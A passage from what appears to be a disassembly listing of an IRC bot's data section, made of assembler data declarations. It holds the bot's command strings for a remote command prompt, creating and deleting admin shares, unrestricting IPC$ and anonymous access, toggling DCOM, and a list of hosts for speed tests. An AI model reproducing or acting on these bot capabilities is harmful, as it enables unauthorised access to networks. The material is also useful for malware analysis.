3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o ; sub_41A6EA+17Ao align 10h dd offset dword_43A578 align 8 off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o dd offset off_43A570 dd offset dword_43A56C dd offset off_43A568 off_43A568 dd offset dword_5C3A44 ; DATA XREF: sub_41A3C6+217o ; ___:0043A564o dword_43A56C dd 2444h ; DATA XREF: ___:0043A560o off_43A570 dd offset byte_5C3A43 ; DATA XREF: ___:0043A55Co dword_43A574 dd 2443h ; DATA XREF: ___:off_43A558o dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A550o dword_43A580 dd 24435049h, 0 ; DATA XREF: ___:off_43A548o dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o ; sub_41A6EA+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o ; sub_41A6EA:loc_41A818o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo ; sub_41A6EA+EDo align 10h dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o ; sub_41A6EA+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A3C6:loc_41A433o dd 62617369h, 2E64656Ch, 0 dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o ; sub_41A6EA+54o align 10h dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o aNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o ; sub_41A6EA:loc_41A95Ao aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o ; sub_41A6EA+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A6EA:loc_41A757o dd 6C62616Eh, 2E6465h dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41ABFB+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF8F+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o align 4 dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B243+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B302+1A0o dd 4C525520h, 2Eh unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B302+18Co dd 64657469h, 2Eh dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r align 4 dword_43ADD8 dd 6325h ; DATA XREF: ___:0041B89Co dword_43ADDC dd 0DFFh ; DATA XREF: ___:0041B6EAo dword_43ADE0 dd 51FFh ; DATA XREF: ___:0041B6DFo dword_43ADE4 dd 0EBFFh ; DATA XREF: ___:0041B6D4o dword_43ADE8 dd 201h ; DATA XREF: ___:0041B6BFo dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo dword_43AE00 dd 70E17405h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ... align 10h dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr dd 9875h, 9873h off_43AE1C dd offset sub_41D124 ; DATA XREF: ___:0041C164r dd offset nullsub_2 dd offset nullsub_2 dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o ; sub_41D626+2o off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er ; sub_423DD1+46r ... dd 10h, 0 off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do ; sub_41F216+69o ... off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r ; sub_41F216+89w ... dd offset dword_43AE68 dd offset dword_43AE68 dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r ; sub_41F35A:loc_41F3A7w dd 0FFFFFFFFh dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043AE58o ; ___:0043AE5Co off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r ; sub_41F35A+20w ... dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r ; sub_41BEF3:loc_41BF2Fr ... off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r ; sub_41C0CE:loc_41C12Fr ... off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r db 2 dup(0) word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r ; ___:off_43CE78o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r ; sub_41C0CE:loc_41C11Ar ... byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r ; sub_420DB0+311r ... align 4 dd 1 off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r ; sub_41FF3F+457r ; "(null)" off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r ; "(null)" byte_43D098 db 1 ; DATA XREF: sub_420749+E1r db 2, 4, 8 align 10h dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co ; sub_420C7F+Co dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o ; sub_420DB0:loc_421317o dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r ; "exp" dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h dd 23h, 4277B4h, 24h, 4277B0h dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r ; sub_421BFF:loc_421CE6r ... dd 0 dd 0FFF80000h dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r ; sub_421BFF:loc_421CBEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr ; sub_4220AC+1Fr align 4 tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r align 10h off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw ; sub_41FF3F+3AAr off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w ; sub_41FF3F+3E2r off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w ; sub_420DB0+430r off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew ; sub_41FF3F+3CBr off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w dd offset sub_424F1C align 10h dd offset sub_422DFC off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar ; sub_423638+11o ... dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D4C0 dd 3 ; DATA XREF: ___:0042354Fr ; sub_425C06+C8r dword_43D4C4 dd 7 ; DATA XREF: ___:00423555r ; sub_425C06+CDr dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r ; sub_425D33+4r dword_43D4CC dd 8Ch ; DATA XREF: ___:00423579r ; ___:00423586w ... dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o ; sub_41FE2A:loc_41FEE7o dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo ; sub_423DD1+28r off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr ; sub_423DD1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh dd 0FFh, 427940h off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo ; sub_42413E+55o align 10h dd offset dword_4DC020 dd 101h dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o dd 1000h, 0 dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o ; sub_420CE6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o ; sub_420CE6:loc_420D04o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r ; sub_4218B4+46r align 8 dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42600E+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43DAE4 dd offset off_427CEC ; DATA XREF: ___:00427EC4o ; ___:00427FB0o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43DAFC dd offset off_427CEC ; DATA XREF: ___:off_427D78o ; ___:00427DB8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43DB1C dd offset off_427CEC ; DATA XREF: ___:off_427DC0o ; ___:00427E04o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43DB3C dd offset off_427CEC ; DATA XREF: ___:off_427E0Co ; ___:00427E50o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43DB60 dd offset off_427CEC ; DATA XREF: ___:off_427E58o ; ___:00427E94o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_424F1C align 10h dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... align 10h dword_43DB90 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+AECo ... dd 5 dup(0) dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r ; sub_415C40+60r dd 2D9h dup(0) dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr ; sub_401ACD+5E61r ... dd 7Fh dup(0) dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w ; sub_40B4F5+40w ... dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w ; sub_40B4F5+46w ... dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w ; sub_40B4F5+3Ar ... dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r ; sub_40B6D6+2Aw ... dword_43E924 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5CD7r ... align 4 dd 1B89h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043492Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:004385C0o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_43902Co dd 0E306h dup(0) dword_49005C dd 5156h dup(0) ; DATA XREF: ___:off_432948o db 3 dup(0) byte_4A45B7 db 0 ; DATA XREF: sub_562ABA:loc_5689DCo dd 4227h dup(0) db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43165Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438E98o dd 5932h dup(0) dword_4CB710 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B3BA+13o ... dword_4CB714 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_404494r ... dword_4CB718 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CB71C dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CB79C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CB7DC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CB86C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CB870 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CB880 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB884 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CB888 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8A2r word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo ; ___:0040AFA9o ... align 10h dword_4CB890 dd 0 ; DATA XREF: sub_409909+4A7w ; sub_409909+4EBr dword_4CB894 dd 0 ; DATA XREF: sub_409909+65w ; sub_419C09+166r dword_4CB898 dd 0 ; DATA XREF: sub_409909+80Bw ; sub_409909+880r ... dword_4CB89C dd 0 ; DATA XREF: sub_409909+9D8w ; sub_409909+A43r ... dword_4CB8A0 dd 0 ; DATA XREF: sub_409909+98Aw ; sub_409909+A13r ... dword_4CB8A4 dd 0 ; DATA XREF: sub_409909+48Dw ; sub_409909+4DBr dword_4CB8A8 dd 0 ; DATA XREF: sub_409909+213w ; sub_409909+234r dword_4CB8AC dd 0 ; DATA XREF: sub_409909+9CBw ; sub_409909+A3Br ... dword_4CB8B0 dd 0 ; DATA XREF: sub_409909+372w ; sub_409909+3C7r ... dword_4CB8B4 dd 0 ; DATA XREF: sub_409909+40Fw ; sub_41AF8F+11Er dword_4CB8B8 dd 0 ; DATA XREF: sub_409909+37Fw ; sub_409909+3CFr ... dword_4CB8BC dd 0 ; DATA XREF: sub_409909+3C0w ; sub_4191DB+ADr dword_4CB8C0 dd 0 ; DATA XREF: sub_409909+55Aw ; sub_40FAD6+115r ... dword_4CB8C4 dd 0 ; DATA XREF: sub_409909+72w ; sub_409909+D2r ... dword_4CB8C8 dd 